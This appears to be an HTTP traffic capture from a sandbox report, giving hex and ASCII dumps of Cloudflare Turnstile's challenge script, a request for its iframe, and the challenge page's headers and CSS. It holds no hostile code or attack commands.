2024-11-07 18:32:00 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-11-07 18:32:00 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function D(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(l[0
2024-11-07 18:32:00 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var q;(fu
2024-11-07 18:32:00 UTC	1369	IN	Data Raw: 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 24 7c 7c 28 24 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 Data Ascii: .NEVER="never",e.MANUAL="manual",e.AUTO="auto"})($\|\|($={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var
2024-11-07 18:32:00 UTC	1369	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 Data Ascii: }function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(
2024-11-07 18:32:00 UTC	1369	IN	Data Raw: 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 66 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4d 28 6b 72 2c 28 6c 3d 28 72 3d 65 2e 64 Data Ascii: ).concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(f)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,g=M(kr,(l=(r=e.d
2024-11-07 18:32:00 UTC	1369	IN	Data Raw: 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 Data Ascii: sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,l,g){var h=[null];h.push.apply
2024-11-07 18:32:00 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 6c 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 6c 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 6c 2e 63 6f 64 65 3d 63 2c 6c 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 Data Ascii: call(this,o),Me(Be(l),"code",void 0),l.name="TurnstileError",l.code=c,l}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){ret
2024-11-07 18:32:00 UTC	1369	IN	Data Raw: 64 69 76 22 29 3b 75 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 75 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 75 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 75 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 75 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 75 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 Data Ascii: div");u.style.position="fixed",u.style.zIndex="2147483646",u.style.width="100vw",u.style.height="100vh",u.style.top="0",u.style.left="0",u.style.transformOrigin="center center",u.style.overflowX="hidden",u.style.overflowY="auto",u.style.background="rgba(0

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:01 UTC	799	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/it6ud/0x4AAAAAAAaj0rear9JdQVOM/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rh.capriciou.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:32:01 UTC	1362	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26446 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-11-07 18:32:01 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 65 66 36 37 35 31 63 66 30 37 65 37 61 36 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8def6751cf07e7a6-DFWalt-svc: h3=":443"; ma=86400
2024-11-07 18:32:01 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-11-07 18:32:01 UTC	1369	IN	Data Raw: 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 Data Ascii: ding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiased
2024-11-07 18:32:01 UTC	1369	IN	Data Raw: 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 30 Data Ascii: troke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#0
2024-11-07 18:32:01 UTC	1369	IN	Data Raw: 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f Data Ascii: nge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challenge-o
2024-11-07 18:32:01 UTC	1369	IN	Data Raw: 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e Data Ascii: .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-helper-loop-lin
2024-11-07 18:32:01 UTC	1369	IN	Data Raw: 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 7d 74 6f 7b 66 69 6c 6c 3a 23 66 Data Ascii: fset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1303}to{fill:#f
2024-11-07 18:32:01 UTC	1369	IN	Data Raw: 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 7b 68 65 69 Data Ascii: low:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-compact #logo{hei
2024-11-07 18:32:01 UTC	1369	IN	Data Raw: 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 66 Data Ascii: rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex-start;justif
